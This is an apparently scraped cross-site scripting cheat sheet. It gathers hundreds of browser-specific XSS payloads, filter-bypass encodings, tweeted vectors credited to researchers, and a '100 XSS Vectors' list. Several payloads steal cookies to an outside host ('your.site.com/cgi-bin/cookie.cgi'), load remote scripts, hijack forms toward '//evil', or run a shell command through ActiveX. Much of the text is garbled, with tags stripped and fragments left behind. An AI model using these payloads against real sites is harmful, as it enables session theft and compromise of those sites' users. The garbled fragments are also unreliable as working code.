Alternate ways of executing JavaScript functions Split up JavaScript into HTML attributes

HTML is parsed before JavaScript '; HTML is parsed before CSS '); } XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari). URI Schemes (IE) (Firefox, Chrome, Safari) (Firefox, Chrome, Safari) HTTP Parameter Pollution http://target.com/something.xxx?a=val1&a=val2 ASP.NET a = val1,val2 ASP a = val1,val2 JSP a = val1 PHP a = val2 Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging) (Firefox) http://target.com/something.jsp?inject=#alert(1) Two Stage XSS via name attribute Non-alphanumeric crazyness...

'));)>

< script > < / script> < < < < < << <<< "> < '> '> ";alert('XSS');// %3cscript%3ealert("XSS");%3c/script%3e %3cscript%3ealert(document.cookie);%3c%2fscript%3e %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E <script>alert(document.cookie); <script>alert(document.cookie);<script>alert

'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E "> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//>!--=&{} '';!--"=&{()} ','')); phpinfo(); exit;/* var n=0;while(true){n;}]]> SCRIPT]]>alert('XSS');/SCRIPT]]> SCRIPT]]>alert('XSS');/SCRIPT]]> ]]> <IMG SRC="javascript:alert('XSS')"> ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ TWITTER @xssvector Tweets:

Opera cross-domain set cookie 0day: document.cookie='xss=jackmasa;domain=.me.' Reverse 401 basic auth phishing by @jackmasa POC: document.domain='com' chrome/safari same domain suffix cross-domain trick. Safari empty location bar bug by @jackmasa POC: Safari location object pollution tech: by @kinugawamasato Safari URL spoofing about://mmme.me POC: Opera URL spoofing vuln data://mmme.me by @jackmasa POC: Universal URL spoofing data:;//mmme.me/view/1#1,2 #firefox #safari #opera New dom xss vector xxx.innerHTML=document.title by @0x6D6172696F Opera data:message/rfc822 #XSS by @insertScript #IE IE cool expression xss

Clever webkit xss auditor bypass trick and %c0″//(%000000%0dalert(1)// #IE #0day new XMLHttpRequest().open("GET", "data:text/html,", false); #firefox #datauri

XSS

#firefox #IE "clickme #IE #xssfilter @kinugawamasato Components.lookupMethod(self, 'alert')(1) #firefox external.NavigateAndFind(' ',[],[]) #IE #URLredirect IE decides charset as #utf-7 @hasegawayosuke #opera #chrome #IE9 #svg #vbscript setTimeout(['alert(/@garethheyes/)']); #chrome #safari #firefox #E4X <{alert(1)}>.(alert(3)).@wtf.(wtf) by @garethheyes #vbscript coool feature chr(&H4141)="A", Chr(7^5)=A and Chr(&O41) =‘A’ by @masa141421356 ({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')() No referer : #VBScript Event Handling: [Sub XXX_OnError MsgBox " @0x6D6172696F " End Sub] if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console #Firefox #Opera #Chrome #Safari #XSS document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=alert(1)>') #IE #XSS header('Refresh: 0;url=javascript:alert(1)'); click #CSS expression #ES #FF for(location of ['javascript:alert(/ff/)']); #E4X function::['location']='javascript'':alert(/FF/)' HTML5 entity char test #Firefox click by @cgvwzq
CSS and CSS :P toUpperCase XSS document.write('<ı onclıck=alert(1)>asd'.toUpperCase()) by @jackmasa IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("") by @masa141421356 aha <script src=>alert(/IE|Opera/)</script> Opera bug? <img src=//\ onload=alert(1)> Use 127.1 no 127.0.0.1 by @jackmasa IE vector location='&#118&#98&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41' #jQuery super less-xss,work in IE: $(URL) 6 chars #Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap innerText DOM XSS: innerHTML=innerText Using IE XSS filter or Chrome xss auditor to block <meta> url redirect. jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=alert(1)>') IE all version CSRF vector <img lowsrc=//google.com> Timing vector <img src=//ixss.sinaapp.com/sleep.php> Firefox data uri can inherit dom-access. <iframe src="data:D,<script>alert(top.document.body.innerHTML)</script>"> IE9 <script/onload=alert(1)></script> Webkit and FF <style/onload=alert(1)> Firefox E4X vector alert(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P IE8 document.write('<img src="<iframe/onload=alert(1)>\0">') If you want to share your cool vector, please do not hesitate to let me know :) ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL New spec:<iframe srcdoc="<svg/onload=alert(domain)>"> #chrome 20 by @0x6D6172696F #Firefox syntax broken try{*}catch(e if(alert(1))){} by @garethheyes JSON XSS Tips: /json.cgi?a.html by @hasegawayosuke JSON XSS Tips: /json/.html with PHP and .NET by or /json;.html with JSP by @superevr ß=ss <a href="http://ß.lv">click</a> by @_cweb <a href="http://www。example。com">click</a> by @_cweb Firefox link host dom xss https://t.co/aTtzHaaG by @garethheyes <a href="http://www﹒example﹒com ">click</a> by @_cweb history.pushState([],[],'/xssvector') HTML5 URL spoofing! Clickjacking with history.forward() and history.back() by @lcamtuf Inertia-Clickjacking for(i=10;i>1;i--)alert(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul XHTML Entity Hijacking [<!ENTITY nbsp "'">] by @masa141421356 Firefox <img src=javascript:while([{}]);> IE  by @0x6D6172696F H5SC#115 Firefox funny vector for(i=0;i<100;) find(); by @garethheyes IE breaking framebusting vector <script>var location={};</script> IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script> Firefox <iframe src=view-source://xxxx.com>; with drag and drop <button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking Dangling markup injection <img src='//evil by @lcamtuf Webkit <iframe> viewsource attribute: // <iframe viewsource src="//test.de"> by @0x6D6172696F DOM clobbering: clobbered location object on IE. DOM clobbering: clobbered document->body by @jackmasa Classic IE backtick DOM XSS: Firefox click=>google by @garethheyes click by @kkotowicz Opera click variant base64 encode. by @jackmasa Opera IE less xss,20 chars. by @0x6D6172696F click no referrer by @sneak_ FF no referrer by @sneak_ No dos expression vector by @jackmasa by @0x6D6172696F JSLR( @garethheyes ) challenge result: @irsdl challenge result: Vbscript XHR by @masa141421356 XML Entity XSS by @garethheyes Webkit Classic vector by slacker :D name Classic html entity inject vector A nice opera xss: Put 65535 Bytes before and Unicode Sign by @insertScript Upload a jar file => Firefox XSS by @0x6D6172696F JS Array Hijacking with MBCS encodings ppt by @hasegawayosuke IE6-7 Inject vector by @kinugawamasato IE UTF7 BOM XSS by @garethheyes by @garethheyes FF CLICK by @0x6D6172696F non-IE ' chrome firefox opera vector by @jackmasa FF by @jackmasa Nice IE DOM XSS:
by LeverOne IE a new method get window object! by @s_hskz Chrome crazy vector! by @cgvwzq IE by @jackmasa H5SC: click non-IE click Firefox Opera, pressing the spacebar execute! by @shafigullin works on webkit by @garethheyes ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ MORE VECTORS: "> [url=javascript:alert('XSS');]click me[/url] ipt>alert('XSS');ipt> alert("XSS")'); ?> window.alert("Bonjour !");
onload=alert('XSS')> "> '">>
XSS
alert("XSS")'?> " onfocus=alert(document.domain) "> <"
XSS perl -e 'print "alert("XSS")";' > out perl -e 'print "";' > out
alert(1)
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a?); ='> "?="http://yoursite.com/xss.js?69,69"> > ">/XaDoS/> ">/KinG-InFeT.NeT/> src="http://www.site.com/XSS.js"> "> [color=red width=expression(alert(123))][color] Execute(MsgBox(chr(88)&chr(83)&chr(83)))< "> '"> '"> '""> <<< '> '>"> } <
XSS

href="javascript:alert(-1)">hello Hello Hello " onhover="javascript:alert(-1)" "> ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ ha.ckers.org / sla.ckers.org ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//>--!> "> < ";alert('XSS');//

XSS

exp/* XSS ]]> <IMG SRC="javascript:alert('XSS')"> PT SRC="http://ha.ckers.org/xss.js"> XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ 100 #XSS Vectors by @soaj1664ashar <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt %00>alert(1) {Opera} <img/src=`%00` onerror=this.onerror=confirm <form><isindex formaction="javascript&colon;confirm(1)" <img src=`%00`&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3?=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ "><h1/onmouseover='\u0061lert(1)'>%00 <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'> <img/	
 src=`~` onerror=prompt(1)> <form><iframe 	
 src="javascript:alert(1)"
	;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( </form><input type="date" onfocus="alert(1)"> <form><textarea  onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ <iframe srcdoc='<body onload=prompt(1)>'> <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a> <script ~~~>alert(0%0)</script ~~~> <style/onload= <script src="data:text/javascript,alert(1)"></script> <iframe/src \/\/onload = prompt(1) <iframe/onreadystatechange=alert(1) <svg/onload=alert(1) <input value=<><iframe/src=javascript:confirm(1) <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> http://www.<script>alert(1)</script .com <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29> $click$ --!>
x "> ? ">

hellox worldss

XSS

XSS